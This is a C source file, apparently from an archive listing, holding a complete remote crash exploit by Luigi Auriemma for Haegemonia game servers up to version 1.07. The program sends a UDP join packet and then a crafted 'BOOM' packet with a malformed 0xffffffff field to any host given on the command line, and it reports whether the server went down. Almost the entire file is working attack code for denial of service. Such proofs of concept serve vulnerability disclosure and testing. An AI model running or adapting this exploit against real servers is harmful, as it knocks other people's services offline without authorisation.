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hgmcrash.c
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Wrap
C/C++ Source or Header
|
2005-02-12
|
3KB
|
161 lines
/*
by Luigi Auriemma
UNIX & WIN VERSION
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#ifdef WIN32
#include <winsock.h>
#include "winerr.h"
#define close closesocket
#else
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <netdb.h>
#endif
#define VER "0.1"
#define BUFFSZ 2048
#define PORT 19664
#define TIMEOUT 5
#define SEND(x) if(sendto(sd, x, sizeof(x) - 1, 0, (struct sockaddr *)&peer, psz) \
< 0) std_err();
#define RECV if(recvfrom(sd, buff, BUFFSZ, 0, (struct sockaddr *)&peer, &psz) \
< 0) std_err();
#define JOIN "\x00\x00"
#define BOOM "\x10\x00\x00\x03\x0b\x01" \
/* boom */ "\xff\xff\xff\xff" \
/* message */ "boomyeah"
int timeout(int sock);
u_long resolv(char *host);
void std_err(void);
int main(int argc, char *argv[]) {
int sd,
psz;
u_short port = PORT;
u_char *buff;
struct sockaddr_in peer;
setbuf(stdout, NULL);
fputs("\n"
"Haegemonia <= 1.07 remote server crash "VER"\n"
"by Luigi Auriemma\n"
"e-mail: aluigi@altervista.org\n"
"web: http://aluigi.altervista.org\n"
"\n", stdout);
if(argc < 2) {
printf("\nUsage: %s <server> [port(%u)]\n"
"\n", argv[0], PORT);
exit(1);
}
#ifdef WIN32
WSADATA wsadata;
WSAStartup(MAKEWORD(1,0), &wsadata);
#endif
if(argc > 2) port = atoi(argv[2]);
peer.sin_addr.s_addr = resolv(argv[1]);
peer.sin_port = htons(port);
peer.sin_family = AF_INET;
psz = sizeof(peer);
printf("\nStarting attack versus %s:%hu\n\n",
inet_ntoa(peer.sin_addr), port);
sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if(sd < 0) std_err();
fputs("- sending JOIN packet\n", stdout);
SEND(JOIN);
if(timeout(sd) < 0) {
fputs("\nError: socket timeout, server is probably not online\n", stdout);
exit(1);
}
buff = malloc(BUFFSZ);
if(!buff) std_err();
RECV;
fputs("- sending BOOM packet\n", stdout);
SEND(BOOM);
if(timeout(sd) < 0) {
fputs("\nServer IS vulnerable!!!!!!!\n", stdout);
} else {
fputs("\nServer doesn't seem to be vulnerable\n", stdout);
}
close(sd);
return(0);
}
int timeout(int sock) {
struct timeval tout;
fd_set fd_read;
int err;
tout.tv_sec = TIMEOUT;
tout.tv_usec = 0;
FD_ZERO(&fd_read);
FD_SET(sock, &fd_read);
err = select(sock + 1, &fd_read, NULL, NULL, &tout);
if(err < 0) std_err();
if(!err) return(-1);
return(0);
}
u_long resolv(char *host) {
struct hostent *hp;
u_long host_ip;
host_ip = inet_addr(host);
if(host_ip == INADDR_NONE) {
hp = gethostbyname(host);
if(!hp) {
printf("\nError: Unable to resolve hostname (%s)\n", host);
exit(1);
} else host_ip = *(u_long *)hp->h_addr;
}
return(host_ip);
}
#ifndef WIN32
void std_err(void) {
perror("\nError");
exit(1);
}
#endif